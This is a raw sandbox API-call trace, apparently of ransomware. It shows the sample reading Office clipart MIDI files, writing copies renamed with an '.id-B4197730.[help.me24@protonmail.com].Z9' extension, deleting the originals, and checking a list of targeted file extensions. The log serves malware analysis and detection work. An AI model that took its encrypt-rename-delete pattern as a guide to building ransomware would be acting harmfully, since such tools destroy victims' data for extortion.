	[0167.297] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sumer_01.mid.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c
	[0167.332] GetLastError () returned 0x0
	[0167.332] ReadFile (in: hFile=0x4a4, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x36dc, lpOverlapped=0x0) returned 1
	[0167.335] WriteFile (in: hFile=0x47c, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x36e0, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x36e0, lpOverlapped=0x0) returned 1
	[0167.336] ReadFile (in: hFile=0x4a4, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x0, lpOverlapped=0x0) returned 1
	[0167.336] WriteFile (in: hFile=0x47c, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0xec, lpOverlapped=0x0) returned 1
	[0167.336] SetEndOfFile (hFile=0x47c) returned 1
	[0167.336] CloseHandle (hObject=0x47c) returned 1
	[0167.336] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.336] SetEndOfFile (hFile=0x4a4) returned 1
	[0167.339] CloseHandle (hObject=0x4a4) returned 1
	[0167.339] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0167.340] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sumer_01.mid")) returned 1
	[0167.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68
	[0167.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68
	[0167.340] lstrlenW (lpString=".doc") returned 4
	[0167.340] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0167.340] lstrlenW (lpString=".docx") returned 5
	[0167.340] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0167.340] lstrlenW (lpString=".pdf") returned 4
	[0167.340] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0167.341] lstrlenW (lpString=".xls") returned 4
	[0167.341] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0167.341] lstrlenW (lpString=".xlsx") returned 5
	[0167.341] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0167.341] lstrlenW (lpString=".ppt") returned 4
	[0167.341] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0167.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68
	[0167.341] lstrlenW (lpString=".zip") returned 4
	[0167.341] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0167.341] lstrlenW (lpString=".rar") returned 4
	[0167.341] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0167.341] lstrlenW (lpString=".bz2") returned 4
	[0167.341] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0167.341] lstrlenW (lpString=".7z") returned 3
	[0167.341] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0167.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68
	[0167.341] lstrlenW (lpString=".dbf") returned 4
	[0167.341] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0167.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68
	[0167.341] lstrlenW (lpString=".1cd") returned 4
	[0167.341] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0167.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68
	[0167.341] lstrlenW (lpString=".jpg") returned 4
	[0167.341] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0167.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68
	[0167.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68
	[0167.341] lstrlenW (lpString=".doc") returned 4
	[0167.341] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0167.341] lstrlenW (lpString=".docx") returned 5
	[0167.341] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0167.341] lstrlenW (lpString=".pdf") returned 4
	[0167.341] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0167.341] lstrlenW (lpString=".xls") returned 4
	[0167.341] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0167.341] lstrlenW (lpString=".xlsx") returned 5
	[0167.341] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0167.341] lstrlenW (lpString=".ppt") returned 4
	[0167.342] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0167.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68
	[0167.342] lstrlenW (lpString=".zip") returned 4
	[0167.342] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0167.342] lstrlenW (lpString=".rar") returned 4
	[0167.342] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0167.342] lstrlenW (lpString=".bz2") returned 4
	[0167.342] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0167.342] lstrlenW (lpString=".7z") returned 3
	[0167.342] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0167.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68
	[0167.342] lstrlenW (lpString=".dbf") returned 4
	[0167.342] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0167.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68
	[0167.342] lstrlenW (lpString=".1cd") returned 4
	[0167.342] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0167.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68
	[0167.342] lstrlenW (lpString=".jpg") returned 4
	[0167.342] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0167.342] lstrcmpiW (lpString1=".MID", lpString2=".Z9") returned -1
	[0167.342] lstrlenW (lpString="SWEST_01.MID") returned 12
	[0167.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\swest_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0167.343] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=8501) returned 1
	[0167.344] CloseHandle (hObject=0x4a4) returned 1
	[0167.344] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\swest_01.mid")) returned 0x220
	[0167.344] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\swest_01.mid.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0167.344] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\swest_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0167.344] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.344] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.344] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\swest_01.mid.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c
	[0167.345] GetLastError () returned 0x0
	[0167.345] ReadFile (in: hFile=0x4a4, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x2135, lpOverlapped=0x0) returned 1
	[0167.517] WriteFile (in: hFile=0x47c, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x2140, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x2140, lpOverlapped=0x0) returned 1
	[0167.518] ReadFile (in: hFile=0x4a4, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x0, lpOverlapped=0x0) returned 1
	[0167.518] WriteFile (in: hFile=0x47c, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0xec, lpOverlapped=0x0) returned 1
	[0167.518] SetEndOfFile (hFile=0x47c) returned 1
	[0167.556] CloseHandle (hObject=0x47c) returned 1
	[0167.557] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.557] SetEndOfFile (hFile=0x4a4) returned 1
	[0167.559] CloseHandle (hObject=0x4a4) returned 1
	[0167.559] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0167.565] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\swest_01.mid")) returned 1
	[0167.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68
	[0167.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68
	[0167.567] lstrlenW (lpString=".doc") returned 4
	[0167.567] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0167.567] lstrlenW (lpString=".docx") returned 5
	[0167.567] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0167.567] lstrlenW (lpString=".pdf") returned 4
	[0167.567] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0167.567] lstrlenW (lpString=".xls") returned 4
	[0167.567] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0167.567] lstrlenW (lpString=".xlsx") returned 5
	[0167.567] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0167.567] lstrlenW (lpString=".ppt") returned 4
	[0167.567] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0167.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68
	[0167.567] lstrlenW (lpString=".zip") returned 4
	[0167.567] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0167.567] lstrlenW (lpString=".rar") returned 4
	[0167.567] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0167.567] lstrlenW (lpString=".bz2") returned 4
	[0167.567] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0167.567] lstrlenW (lpString=".7z") returned 3
	[0167.567] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0167.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68
	[0167.567] lstrlenW (lpString=".dbf") returned 4
	[0167.567] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0167.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68
	[0167.567] lstrlenW (lpString=".1cd") returned 4
	[0167.567] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0167.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68
	[0167.567] lstrlenW (lpString=".jpg") returned 4
	[0167.567] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0167.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68
	[0167.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68
	[0167.568] lstrlenW (lpString=".doc") returned 4
	[0167.568] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0167.568] lstrlenW (lpString=".docx") returned 5
	[0167.568] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0167.568] lstrlenW (lpString=".pdf") returned 4
	[0167.568] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0167.568] lstrlenW (lpString=".xls") returned 4
	[0167.568] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0167.568] lstrlenW (lpString=".xlsx") returned 5
	[0167.568] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0167.568] lstrlenW (lpString=".ppt") returned 4
	[0167.568] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0167.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68
	[0167.568] lstrlenW (lpString=".zip") returned 4
	[0167.568] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0167.568] lstrlenW (lpString=".rar") returned 4
	[0167.568] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0167.568] lstrlenW (lpString=".bz2") returned 4
	[0167.568] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0167.568] lstrlenW (lpString=".7z") returned 3
	[0167.568] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0167.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68
	[0167.568] lstrlenW (lpString=".dbf") returned 4
	[0167.568] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0167.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68
	[0167.568] lstrlenW (lpString=".1cd") returned 4
	[0167.568] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0167.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68
	[0167.568] lstrlenW (lpString=".jpg") returned 4
	[0167.568] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0167.568] lstrcmpiW (lpString1=".MID", lpString2=".Z9") returned -1
	[0167.569] lstrlenW (lpString="VCTRN_01.MID") returned 12
	[0167.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\vctrn_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0
	[0167.570] GetFileSizeEx (in: hFile=0x4c0, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=4961) returned 1
	[0167.570] CloseHandle (hObject=0x4c0) returned 1
	[0167.570] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\vctrn_01.mid")) returned 0x220
	[0167.570] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\vctrn_01.mid.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0167.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\vctrn_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0
	[0167.571] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.571] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\vctrn_01.mid.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0167.571] GetLastError () returned 0x0
	[0167.571] ReadFile (in: hFile=0x4c0, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x1361, lpOverlapped=0x0) returned 1
	[0167.573] WriteFile (in: hFile=0x4a4, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x1370, lpOverlapped=0x0) returned 1
	[0167.574] ReadFile (in: hFile=0x4c0, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x0, lpOverlapped=0x0) returned 1
	[0167.574] WriteFile (in: hFile=0x4a4, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0xec, lpOverlapped=0x0) returned 1
	[0167.574] SetEndOfFile (hFile=0x4a4) returned 1
	[0167.574] CloseHandle (hObject=0x4a4) returned 1
	[0167.574] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.575] SetEndOfFile (hFile=0x4c0) returned 1
	[0167.577] CloseHandle (hObject=0x4c0) returned 1
	[0167.577] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0167.578] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\vctrn_01.mid")) returned 1
	[0167.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68
	[0167.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68
	[0167.578] lstrlenW (lpString=".doc") returned 4
	[0167.578] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0167.578] lstrlenW (lpString=".docx") returned 5
	[0167.578] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0167.578] lstrlenW (lpString=".pdf") returned 4
	[0167.578] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0167.578] lstrlenW (lpString=".xls") returned 4
	[0167.578] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0167.578] lstrlenW (lpString=".xlsx") returned 5
	[0167.578] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0167.578] lstrlenW (lpString=".ppt") returned 4
	[0167.579] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0167.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68
	[0167.579] lstrlenW (lpString=".zip") returned 4
	[0167.579] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0167.579] lstrlenW (lpString=".rar") returned 4
	[0167.579] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0167.579] lstrlenW (lpString=".bz2") returned 4
	[0167.579] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0167.579] lstrlenW (lpString=".7z") returned 3
	[0167.579] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0167.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68
	[0167.579] lstrlenW (lpString=".dbf") returned 4
	[0167.579] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0167.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68
	[0167.579] lstrlenW (lpString=".1cd") returned 4
	[0167.579] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0167.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68
	[0167.579] lstrlenW (lpString=".jpg") returned 4
	[0167.579] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0167.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68
	[0167.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68
	[0167.579] lstrlenW (lpString=".doc") returned 4
	[0167.579] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0167.579] lstrlenW (lpString=".docx") returned 5
	[0167.579] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0167.579] lstrlenW (lpString=".pdf") returned 4
	[0167.579] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0167.579] lstrlenW (lpString=".xls") returned 4
	[0167.579] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0167.579] lstrlenW (lpString=".xlsx") returned 5
	[0167.579] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0167.579] lstrlenW (lpString=".ppt") returned 4
	[0167.579] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0167.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68
	[0167.579] lstrlenW (lpString=".zip") returned 4
	[0167.579] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0167.579] lstrlenW (lpString=".rar") returned 4
	[0167.580] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0167.580] lstrlenW (lpString=".bz2") returned 4
	[0167.580] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0167.580] lstrlenW (lpString=".7z") returned 3
	[0167.580] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0167.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68
	[0167.580] lstrlenW (lpString=".dbf") returned 4
	[0167.580] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0167.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68
	[0167.580] lstrlenW (lpString=".1cd") returned 4
	[0167.580] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0167.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 68
	[0167.580] lstrlenW (lpString=".jpg") returned 4
	[0167.580] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0167.580] lstrcmpiW (lpString1=".MID", lpString2=".Z9") returned -1
	[0167.580] lstrlenW (lpString="WNTER_01.MID") returned 12
	[0167.580] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wnter_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0
	[0167.581] GetFileSizeEx (in: hFile=0x4c0, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=6915) returned 1
	[0167.581] CloseHandle (hObject=0x4c0) returned 1
	[0167.581] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wnter_01.mid")) returned 0x220
	[0167.581] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wnter_01.mid.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0167.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wnter_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0
	[0167.582] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.582] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
